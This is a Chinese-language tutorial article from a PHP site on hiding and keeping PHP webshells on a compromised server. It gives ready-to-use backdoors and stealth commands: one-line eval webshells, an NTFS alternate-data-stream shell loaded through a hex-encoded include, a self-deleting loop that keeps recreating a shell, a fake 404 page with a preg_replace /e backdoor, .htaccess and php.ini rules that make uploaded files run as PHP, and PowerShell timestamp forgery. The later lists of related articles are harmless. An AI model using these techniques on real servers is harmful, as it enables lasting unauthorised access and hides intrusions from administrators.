PHP后门隐藏的一些技巧总结


Posted in PHP onNovember 04, 2020

前言

如果想让自己的Webshell留的更久一些,除了Webshell要免杀,还需要注意一些隐藏技巧,比如隐藏文件,修改时间属性,隐藏文件内容等。

1、隐藏文件

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r shell.php //隐藏shell.php文件

2、修改文件时间属性

当你试图在一堆文件中隐藏自己新创建的文件,那么,除了创建一个迷惑性的文件名,还需要修改文件的修改日期。

//修改时间修改
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"
//访问时间修改
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"
//创建时间修改
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"

使用命令获取文件属性

Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force

修改某个文件夹下所有文件的创建和修改时间

powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"

3、利用ADS隐藏文件内容

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。

利用include函数,将index.php:hidden.jpg进行hex编码,把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

4、不死马

不死马会删除自身,以进程的形式循环创建隐蔽的后门。

<?php
set_time_limit(0); 
ignore_user_abort(1); 
unlink(__FILE__); //删除自身
while(1)
{ 
 file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话
 sleep(10); //间隔时间
}
?>

处理方式最简单有效的办法,就是重启服务就可以删除webshell文件。

5、中间件后门

将编译好的so文件复制到modules文件夹,启动后门模块,重启Apache。当发送特定参数的字符串过去时,即可触发后门。

github项目地址:

https://github.com/VladRico/apache2_BackdoorMod

6、利用404页面隐藏后门

404页面主要用来提升用户体验,可用来隐藏后门文件。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

7、利用 .htaccess 文件构成PHP后门

一般.htaccess可以用来留后门和针对黑名单绕过,在上传目录创建.htaccess 文件写入,无需重启即可生效,上传png文件解析。

AddType application/x-httpd-php .png

另外,在.htaccess 加入php解析规则,把文件名包含1的解析成php,上传1.txt即可解析。

<FilesMatch "1"> 
SetHandler application/x-httpd-php 
</FilesMatch>

8、利用 php.ini 隐藏后门文件

php.ini 中可以指定在主文件执行前后自动解析的文件名称,常用于页面公共头部和尾部,也可以用来隐藏php后门。

;在PHP文档之前自动添加文件。
auto_prepend_file = "c:\tmp.txt"
;在PHP文档之后自动添加文件。
auto_prepend_file = "c:\tmp.txt"

需重启服务生效,访问任意一个php文件即可获取webshell。

总结

到此这篇关于PHP后门隐藏的一些技巧的文章就介绍到这了,更多相关PHP后门隐藏技巧内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

PHP 相关文章推荐
并发下常见的加锁及锁的PHP具体实现代码
Oct 12 PHP
如何使用php输出时间格式
Aug 31 PHP
php获取字段名示例分享
Mar 03 PHP
php从给定url获取文件扩展名的方法
Mar 14 PHP
PHP模拟asp中response类实现方法
Aug 08 PHP
PHP判断来访是搜索引擎蜘蛛还是普通用户的代码小结
Sep 14 PHP
php模板引擎技术简单实现
Mar 15 PHP
Laravel5中防止XSS跨站攻击的方法
Oct 10 PHP
PHP常用函数总结(180多个)
Dec 25 PHP
利用PHP访问带有密码的Redis方法示例
Feb 09 PHP
PHP实现的堆排序算法详解
Aug 17 PHP
Laravel 创建可以传递参数 Console服务的例子
Oct 14 PHP
phpstudy2020搭建站点的实现示例
Oct 30 #PHP
解决PHPstudy Apache无法启动的问题【亲测有效】
Oct 30 #PHP
PhpStorm 2020.3:新增开箱即用的PHP 8属性(推荐)
Oct 30 #PHP
2020最新版 PhpStudy V8.1版本下载安装使用详解
Oct 30 #PHP
PHP fopen中文文件名乱码问题解决方案
Oct 28 #PHP
PHP dirname功能及原理实例解析
Oct 28 #PHP
基于ThinkPHP删除目录及目录文件函数
Oct 28 #PHP
You might like
在PHP3中实现SESSION的功能(二)
2006/10/09 PHP
php绘图之加载外部图片的方法
2015/01/24 PHP
javascript 嵌套的函数(作用域链)
2010/03/15 Javascript
JavaScript 语言的递归编程
2010/05/18 Javascript
js getBoundingClientRect() 来获取页面元素的位置
2010/11/25 Javascript
formValidator3.3的ajaxValidator一些异常分析
2011/07/12 Javascript
JS动态添加option和删除option(附实例代码)
2013/04/01 Javascript
深入理解JavaScript系列(38):设计模式之职责链模式详解
2015/03/04 Javascript
JavaScript实现通过select标签跳转网页的方法
2016/09/29 Javascript
vue.js初学入门教程(2)
2016/11/07 Javascript
React Native之TextInput组件解析示例
2017/08/22 Javascript
浅析vue中的MVVM实现原理
2019/03/04 Javascript
微信小程序wx.request的简单封装
2019/11/13 Javascript
[05:00]TI9战队采访 - Royal Never Give Up
2019/08/20 DOTA
python代码检查工具pylint 让你的python更规范
2012/09/05 Python
python使用win32com在百度空间插入html元素示例
2014/02/20 Python
[原创]python爬虫(入门教程、视频教程)
2018/01/08 Python
深入了解Python中pop和remove的使用方法
2018/01/09 Python
python求最大值,不使用内置函数的实现方法
2019/07/09 Python
python中几种自动微分库解析
2019/08/29 Python
基于python读取.mat文件并取出信息
2019/12/16 Python
python图形开发GUI库wxpython使用方法详解
2020/02/14 Python
Python实现链表反转的方法分析【迭代法与递归法】
2020/02/22 Python
使用tensorflow框架在Colab上跑通猫狗识别代码
2020/04/26 Python
Python趣味实例,实现一个简单的抽奖刮刮卡
2020/07/18 Python
python定义类的简单用法
2020/07/24 Python
如何利用python生成MD5并去重
2020/12/07 Python
TripAdvisor印尼站:全球领先的旅游网站
2018/03/15 全球购物
Shopbop中文官网:美国亚马逊旗下时尚购物网站
2020/12/15 全球购物
仓管员岗位职责范本
2015/04/01 职场文书
电力工程合作意向书
2015/05/11 职场文书
2015年学校教务处工作总结
2015/05/11 职场文书
2015年客房服务员工作总结
2015/05/15 职场文书
医德医风学习心得体会
2016/01/25 职场文书
2016应届毕业生自荐信范文
2016/01/28 职场文书
golang三种设计模式之简单工厂、方法工厂和抽象工厂
2022/04/10 Golang